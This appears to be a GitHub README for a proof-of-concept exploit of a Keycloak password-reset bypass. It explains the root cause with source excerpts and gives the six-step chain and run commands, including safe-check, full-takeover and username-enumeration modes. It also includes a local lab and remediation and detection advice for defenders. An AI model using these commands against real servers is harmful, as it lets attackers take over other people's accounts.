Knowing only a username or e-mail address, an unauthenticated attacker sets an arbitrary password on any Keycloak account. The password-reset e-mail is delivered to the real victim and is never needed — the attacker never reads a mailbox, never clicks a link, and holds no prior credential or session.
Affected: Keycloak 26.0.0 – 26.7.1. Fixed in 26.7.2.
One command. No valid username required, and no side effects — it sends no e-mail, writes to no account, and stops before the exploitable step.
git clone https://github.com/Snizi/CVE-2026-18963-Exploit
cd CVE-2026-18963-Exploit
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm YOUR_REALM \
--client-id account \
--redirect-uri https://sso.example.com/realms/YOUR_REALM/account/ \
--safe-checkPython 3.9+, standard library only. Nothing to install.
| Exit | Verdict | Meaning |
|---|---|---|
0 |
🔴 VULNERABLE | the parked e-mail gate was served — the bug itself |
2 |
🟢 PATCHED | the flow forked to login and stayed there (fix #51844 present) |
2 |
🟡 MITIGATED | reset-credentials unreachable — Forgot password is off. Not a patch. |
3 |
⚪ INCONCLUSIVE | unrecognised response — do not read this as a pass |
Run it per realm — Forgot password is a per-realm setting, and master counts.
Details, and why the check needs no user and touches nothing, in
§4a.
Already know you are exposed? Jump to remediation and detection / threat hunting.
The repo ships a lab that boots a vulnerable 26.7.1 and a patched 26.7.2 side by side against an identical realm, plus a mailbox to watch the reset e-mail arrive and stay unread while the account is taken over:
cd lab && docker compose up -d
python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
--realm poc --client-id poc-app --safe-check # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
--realm poc --client-id poc-app --safe-check # PATCHEDThis repository exists for defenders, incident responders and authorised penetration testers. Run it against systems you own or hold written permission to test. Everything here ships with a self-contained vulnerable lab (
lab/), so nothing external needs to be touched to learn how the bug works. Pointing it at third-party infrastructure without authorisation is illegal in most jurisdictions and is not something this project supports.
References: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · fix keycloak#51844
- 1. Root cause
- 2. Affected versions (including legacy lines)
- 3. The lab
- 4. Usage
- 5. Custom login themes
- 6. Known gap — PKCE
- 7. Validation performed
- 8. Remediation
- 9. Detection
- Author
Two defects chained. Neither is exploitable alone.
services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java
processAction() — any POST carrying the form key tryAnotherWay:
processor.getAuthenticationSession().setAuthNote(
AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);The note is a bare boolean with no record of which execution set it. It is
cleared only in the branch that handles a submitted authenticationExecution
parameter. Omit that parameter — as this PoC does throughout — and the flag stays
set for the life of the authentication session.
processFlow() — while the flag is truthy, normal flow evaluation is skipped:
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
if (lastExecutionId != null) {
AuthenticationExecutionModel executionModel =
realm.getAuthenticationExecutionById(lastExecutionId);
if (executionModel != null)
return createSelectAuthenticatorsScreen(executionModel); // <-- attacker-usable form
}
}It renders a submittable form aimed at whatever execution is currently parked, instead of keeping the session pinned on "waiting for the e-mail".
The glue is processResult() case FORK: — when Send Reset Email fires it stamps
CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> and forks
the browser to the login page. The parked execution is precisely the e-mail gate.
services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java
@Override
public void action(AuthenticationFlowContext context) {
context.getUser().setEmailVerified(true);
context.success();
}Unconditional. Nothing verifies that the flow was resumed by a valid action token,
so reaching action() is treated as equivalent to proving mailbox control.
tryAnotherWay POST → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials → sticky flag serves a form targeting the parked e-mail execution
POST that form → ResetCredentialEmail.action() → success() → gate bypassed
→ flow advances to UPDATE_PASSWORD → attacker sets the password
Six HTTP requests, no authentication, no authenticationExecution parameter at any
point.
- The note now stores
model.getId(), andprocessFlow()honours it only when it equalsCURRENT_AUTHENTICATION_EXECUTION, otherwise removes it. In the attack the two differ (choose-user id vs. e-mail-gate id) — exactly what the patch detects, and exactly the signal--safe-checkkeys on. ResetCredentialEmail.action()now requirescontext.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID))and otherwise fails withINVALID_USER.
| Line | Vulnerable | Community fix |
|---|---|---|
| Legacy (WildFly-based Keycloak, ≤ 17) | not affected | — |
| Quarkus 17 – 25.x | not affected | — |
| 26.0 | 26.0.0 – 26.0.17 | none |
| 26.1 | 26.1.0 – 26.1.5 | none |
| 26.2 | 26.2.0 – 26.2.16 | none |
| 26.3 | 26.3.0 – 26.3.5 | none |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (vendor backport tag) |
| 26.5 | 26.5.0 – 26.5.7 | none |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (vendor backport tag) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 |
- Legacy releases are not automatically safe — they are safe for a specific
reason. The sticky-boolean note was introduced in 26.0.0 by commit
6a9e60bb, which added the "Try another way" authenticator-selector screen to the reset flow. Anything older simply lacks the code path. That includes the old WildFly-based distributions and RH-SSO 7.x, which are unaffected by this bug while remaining end-of-life and vulnerable to plenty of others. Staying on a legacy build is not a remediation. - Legacy 26.x lines are the real problem.
26.7.2is the only fixed release published for the community train. If a deployment sits on 26.0 – 26.6, there is no patch release on that line — the fix requires a minor-version upgrade, not a point release. The26.4.15/26.6.6tags are vendor backports and are not interchangeable with community images. - Because so many long-lived deployments are pinned to an older 26.x for compatibility reasons, "we are fully patched on our line" is a common and incorrect assumption here. Check the running build, not the update policy.
Preconditions: the realm has Forgot password enabled and its bound
reset-credentials flow uses the built-in reset-credential-email authenticator.
The repo ships both a vulnerable and a patched Keycloak, importing the identical realm, plus Mailpit to capture the reset mail — so you can watch it arrive and stay unread while the account is taken over.
cd lab
docker compose up -d| Service | URL | Version |
|---|---|---|
kc-vuln |
http://localhost:8080 | 26.7.1 — vulnerable |
kc-patched |
http://localhost:8100 | 26.7.2 — patched control |
kc-mailpit |
http://localhost:8025 | victim's mailbox |
Realm poc, public client poc-app, user victim / OriginalPassw0rd!, Keycloak
admin admin / admin.
Pin different builds with KC_VULN_VERSION / KC_PATCHED_VERSION:
KC_VULN_VERSION=26.5.7 docker compose up -d keycloak-vulnBetween runs, lab/reset-victim.sh restores the victim's password
(KC=http://localhost:8100 lab/reset-victim.sh targets the patched instance).
lab/legit_reset.py performs a genuine reset by pulling the action-token link
out of Mailpit and clicking it. It is the control sample for the detection work in
§9 — run it and the exploit against the same realm, then diff the traces.
Teardown: docker compose down -v.
Python 3.9+, standard library only — no dependencies, drops onto any jump box.
--base Keycloak base URL (e.g. https://sso.example.com)
--realm realm name
--client-id any enabled public client with the standard flow
--redirect-uri a URI permitted by that client (default http://localhost:9999/callback)
--insecure skip TLS verification
--verbose log every HTTP request
--dump FILE write the response body of a failing step to FILE
--client-id can be any enabled public client with the standard flow. The built-in
account client exists in every realm and is the reliable choice, but it restricts
redirect URIs, so --redirect-uri must then be
<base>/realms/<realm>/account/ — the default is rejected and step 1 fails.
Needs no valid username and has no side effects. This is the probe to use when you must not disturb the target.
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--safe-check| Exit | Verdict | Meaning |
|---|---|---|
0 |
VULNERABLE | the parked e-mail gate was served — the bug itself |
2 |
PATCHED | the flow forked to login and stayed there (fix #51844 present) |
2 |
MITIGATED | reset-credentials unreachable — Forgot password is off. Not a patch. |
3 |
INCONCLUSIVE | unrecognised response — do not read this as a pass |
Why it needs no user, and sends no mail. ResetCredentialEmail.authenticate()
forks for an unknown user too:
if (user == null) { context.forkWithSuccessMessage(EMAIL_SENT); return; }processResult() case FORK: therefore parks CURRENT_AUTHENTICATION_EXECUTION
on the e-mail execution even though nobody was found — and no mail is sent,
because there is nobody to mail. The probe stops at the discriminator and never
POSTs the gate, so action() never runs: no NPE on the target, no emailVerified
write, no mail, no account touched.
It asserts on the positive signal only. VULNERABLE ⟺ step 5 returns a form
still inside login-actions/reset-credentials whose execution differs from the
choose-user execution. That is the bug: the stale
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED note serving the parked e-mail gate.
Both halves matter — the path proves we are still in the reset flow, the differing
execution id proves it is the e-mail gate and not a re-render.
Anything else is not silently called patched. PATCHED requires its own evidence
(forked to login-actions/authenticate and a password input present); everything
remaining is INCONCLUSIVE and needs a human. An earlier design treated "not the
gate form" as patched, which quietly turns every custom theme, error page, WAF
block and interstitial into a false clean bill of health.
Drives the full chain but stops at the Update Password form. Reaching that form without an action token is conclusive.
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--victim alice@example.com --checkTwo side effects are unavoidable, because they happen upstream of the password form — state them in the engagement scope:
- a password-reset e-mail is delivered to the real victim (step 4 is a genuine reset request), and
- the vulnerable
action()setsemailVerified = trueon the account.
No credential is modified. Prefer a dedicated test account.
Lab or explicitly authorised demonstration only.
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc --client-id poc-app \
--victim victim --new-password 'PoCPassw0rd!1'Exit 0 vulnerable · 2 not exploitable · 1 password changed but the confirming
grant failed (point --verify-client-id at a client with Direct Access Grants).
Completing the flow also returns an OIDC authorization code for the victim, so takeover is immediate — no second login with the new password is required.
The same flaw is a username oracle, and a stronger one than Keycloak normally
allows. ResetCredentialEmail.authenticate() deliberately returns an identical
"You should receive an email shortly" for real and unknown users, so the reset
form itself cannot be used to enumerate — that defence still holds at step 4. It
breaks at step 6, where action() dereferences the user unconditionally
(context.getUser().setEmailVerified(true)).
| Identifier | Step 6 | Verdict |
|---|---|---|
| real user | 200, reaches the Update Password form |
VALID |
| unknown user | 400 (NPE error page) |
INVALID |
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc --client-id poc-app \
--enum candidates.example.txtNever changes a password. Exit 0 if any identifier resolved, 2 otherwise.
Cost per probe — read before running. Reaching the oracle requires completing
step 4, so every probe against a real account sends that person a genuine
password-reset e-mail and sets emailVerified = true on their record. It is not
a quiet check: it is visible to the account holder and it mutates their data. A
5,000-name wordlist is 5,000 e-mails to real people and 5,000 mutated accounts.
Use it to demonstrate that the oracle exists on a handful of identifiers for the report — not to harvest a directory. The guards are deliberately conservative:
--enum-max Nrefuses lists longer than N (default 25)--enum-delay SECpauses between probes (default 2.0)
Raising either should be a conscious decision recorded in the engagement notes.
Reporting angle: this defeats an anti-enumeration control Keycloak implemented on purpose. Worth writing up as its own finding alongside the takeover, and it kills "our usernames aren't guessable" as a mitigating factor.
Any serious deployment ships a custom login theme, and custom themes rename or drop
the stock element ids (kc-form-login, kc-reset-password-form,
kc-select-credential-form, kc-passwd-update-form). A tool that keys on those ids
reports a false negative on exactly the deployments that matter most — this one
did, before it was rewritten. Themes seen in the wild use ids like id="login-form"
and ship a forgot password anchor with an empty href.
This PoC therefore keys on nothing that a theme controls:
- Form action URLs only. Every decision is made from the
action=of the forms on the page —login-actions/reset-credentials,login-actions/authenticate,login-actions/required-action— and from theexecutionquery parameter inside them. Those paths are produced by Keycloak's ownLoginActionsService, not by the theme. - No element ids.
grepthe source: there is not onekc-*id in it. - No message text. Response strings are localised — a German realm answers "Reset Credential nicht erlaubt", and matching on "You should receive an email" breaks on every non-English realm.
- It never follows a themed "Forgot password" link. The link may be absent,
empty, JavaScript-driven, or point somewhere outside Keycloak entirely — none of
which says anything about whether the endpoint is reachable. The tool constructs
/realms/<realm>/login-actions/reset-credentials?client_id=…&tab_id=…and probes it directly, takingtab_idfrom whatever form the login page does expose.
If a target still returns INCONCLUSIVE, run with --verbose --dump out.html and
read the response — the tool deliberately refuses to guess.
A client that enforces PKCE rejects step 1 with
Missing parameter: code_challenge_method. This is reported as INCONCLUSIVE
(exit 3), never as a pass. Until PKCE support lands, a realm whose only usable
public client mandates PKCE cannot be checked with this tool — try the built-in
account client, which normally does not enforce it.
Every run below is against the lab in this repo, using the code as published.
| Test | Target | Result |
|---|---|---|
--safe-check |
26.7.1 | VULNERABLE, exit 0 — e-mail gate served (execution ≠ choose-user) |
--safe-check |
26.7.2 | PATCHED, exit 2 — forked to login and stayed |
--safe-check, Forgot password off |
26.7.2 | MITIGATED, exit 2 — HTTP 400, flow unreachable |
| Full takeover | 26.7.1 | exit 0 — password set, OIDC code issued, password grant confirms |
| Full takeover | 26.7.2 | exit 2 — blocked at step 5, account untouched |
--check |
26.7.1 | reached UPDATE_PASSWORD; password verified unchanged afterwards |
--enum |
26.7.1 | victim and victim@poc.local VALID, does-not-exist INVALID |
| Credential state after takeover | 26.7.1 | new password → 200, old password → 400 |
| Credential state after blocked run | 26.7.2 | old password → 200, attacker password → 400 |
| Victim mailbox | Mailpit | reset mails delivered and unread; the action-token link is never fetched |
Two findings worth flagging beyond the advisory text:
- Accounts with no e-mail address are exploitable.
ResetCredentialEmail.authenticate()takes theforkWithSuccessMessagepath whenuser.getEmail()is null, which still parks the execution viacase FORK:. The same holds for an SMTP send failure — a broken or absent mail server is not a mitigation. This matters directly for AD/LDAP-federated realms, where accounts frequently carry no mail attribute. - Completing the flow logs the attacker in as the victim. The final redirect carries a valid OIDC authorization code, so the account is compromised the moment the password form is submitted.
MFA is not a mitigation. The default reset-credentials flow contains no OTP step, and once through, the attacker can remove the victim's registered factors.
Fix: upgrade. 26.7.2 for community builds, or the vendor backport tag matching your subscription. Everything below is a stopgap.
Interim mitigations, best first:
- Disable Forgot password per realm (Realm settings → Login). Confirmed
effective — the flow returns HTTP 400 and cannot be entered. Check every
realm,
masterincluded. - Disable the Reset Password execution in the bound reset-credentials flow. Works, but the login page still offers the link, so the UX is poor. Useful where a custom theme ignores the realm switch.
- Add a required authenticator (OTP/WebAuthn) after the e-mail step in the reset flow. This does not close the bypass — it only limits full takeover to accounts that have actually enrolled that factor.
Realms whose bound reset flow is fully custom and never invokes
reset-credential-email are not exploitable via this path.
Keycloak emits no "action token skipped" event, so detection is heuristic. Run
lab/legit_reset.py alongside the exploit to generate both traces and compare.
- Reverse-proxy / ingress logs — the strongest signal. A legitimate reset shows
a
GET /login-actions/action-token?...(the victim clicking the mail) before the password change. The bypass has no such GET. Instead it shows aPOSTtologin-actions/reset-credentialswhose body containstryAnotherWay, followed by a second POST to the same path with an empty body, then the password form. AtryAnotherWayPOST inside the reset flow is not something the stock UI produces in normal use. - Admin events:
SEND_RESET_PASSWORDfollowed byUPDATE_PASSWORDsharing the samecode_idwithin a few seconds — sub-second in the lab. A user with the mail already open can look fast too, so corroborate with the proxy logs. - Accounts whose
emailVerifiedflipped totruewith no correspondingVERIFY_EMAILevent are a useful supporting indicator, and one the attacker cannot avoid leaving.
Absence of events proves nothing if event logging or retention was off. Check the retention window before concluding a deployment was not hit.
Snizi — github.com/Snizi — luandmsimoes@gmail.com
Released under the MIT License. Issues and PRs welcome — particularly PKCE support and additional real-world theme quirks.